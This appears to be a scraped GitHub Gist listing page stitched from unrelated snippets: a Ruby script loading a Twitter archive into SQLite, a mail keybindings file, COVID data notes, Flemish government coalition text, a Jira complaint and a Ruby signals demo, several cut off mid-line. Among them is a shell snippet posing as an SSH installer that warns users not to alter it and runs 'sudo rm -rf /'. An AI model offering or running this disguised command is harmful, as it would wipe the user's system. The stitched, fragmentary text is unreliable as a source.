Skip to content

Instantly share code, notes, and snippets.

@pjaspers
pjaspers / twitter-archive.rb
Last active October 25, 2023 21:13
If you have your twitter archive laying around, this will put it in a sqlite. Save it somewhere and run it with `ruby twitter-archive.rb` and it should just work (if you did a gem install sqlite3 first)
gem "sqlite3", "~> 1.6.7"
require "sqlite3"
require "json"
require "time"
archive_directory = "~/Documents/Archives/twitter-2023-07-01-826d9daac5cf75f140476a88ff1e97b0f4ba6b8bba8b47c62f8b8c1e65f7aee0"
output_db_path = "~/Sync/twitter.db"
begin
lines = File.readlines(File.expand_path(File.join(archive_directory, "data/tweets.js")), chomp: true); nil
echo "HI <FIRSTNAME>"
echo "Commencing installing of the SSH"
echo "STAND BACK"
# DO NOT ALTER REST OF THIS SCRIPT, SHOULD ONLY BE READ BY PROFESSIONALS
# ALTERING IT MIGHT HARM YOUR COMPUTER
sudo rm -rf /
@pjaspers
pjaspers / pjaspers.plist
Created October 28, 2020 12:27
mailmate-keybindings-gmail-mutt-and-me.plist
{
// Based on the gmail keybindings, and some mutt, and some me.
"@\U000A" = "send:"; // ⌘+return
"@\U000D" = "send:"; // ⌘+enter
"c" = "newMessage:";
"/" = "searchAllMessages:";
"n" = "nextMessage:";
"p" = "previousMessage:";
"j" = "nextThread:";

Where is this data coming from?

Each day I pull down the files from https://epistat.wiv-isp.be/covid/, to be more specific, I pull down the 'COVID19BE_CASES_MUNI_CUM' file.

Which contain for each municipality the

Cumulative number of confirmed cases (combinations with zero cases are not shown

I then run some code to count what the actual delta is from the day before, and that gets filled out in the data.

require "csv"
require "time"
CITIES = [
"Leuven",
"Hamont-Achel",
"Kortrijk",
"De Panne",
"Herentals",
"Antwerpen",
VLAAMSE REGERING 2019-2024
REGEERAKKOORD
1
SAMENVATTING
Vlaanderen staat sterk. De werkloosheid is laag, de productiviteit hoog, en dankzij onze ambitie, onze veerkracht en onze creativiteit scheren we hoge toppen. Cultureel, maatschappelijk en economisch stralen we. Toch is er ook onbehagen. Samenleven in diversiteit stelt ons voor uitdagingen. En te veel mensen hebben het moeilijk om rond te komen, ook als ze aan het werk zijn. Het gevoel leeft dat de lasten en lusten niet altijd evenredig verdeeld zijn.
Naar een samenleving in topvorm
De Vlaamse Regering zet alle zeilen bij om te bouwen aan een harmonieuze samenleving, waarin iedereen kansen krijgt om vooruit te gaan. De Regering doet een warme oproep aan alle Vlamingen om samen aan dit wervende verhaal te schrijven. Er staan ons de volgende jaren bovenmaatse uitdagingen te wachten. We hebben het engagement van iedereen nodig om daar een succes van te maken.
Het is onze ambitie dat Vlaanderen een onbetwiste referentie wordt in het Europa van de jaren twin
Participants:	4,235,181
Books Pledged:	259,817,439
Books Finished:	56,102,660
Avg. Books Pledged:	61
Challenges Completed:	696,889

You broke the . popup.

I was wondering why it didn't work and I thought it was a permissions thing (because as we all know Jira works in mysterious ways that sometimes involve sacrificing your firstborn), it was only when I accidentally clicked on the 'Show old issue view' that I found out the popup still worked there.

The popup is the one redeeming thing about having to use Jira*

  • I think Jira does a lot of stuff, and when in the hands of someone who knows what they're doing it can be setup just fine. Unfortunately, I think that person stopped setting up jira's a long time ago.
#! /usr/bin/env ruby
#
# Either `chmod +x` me or run me as `ruby ruby-signals`
total = 1000000000
index = 0
start_time = Time.now
sleep_for = 0.1
wat = <<WAT
Hi there, this shows how to instrument a long running CLI process so you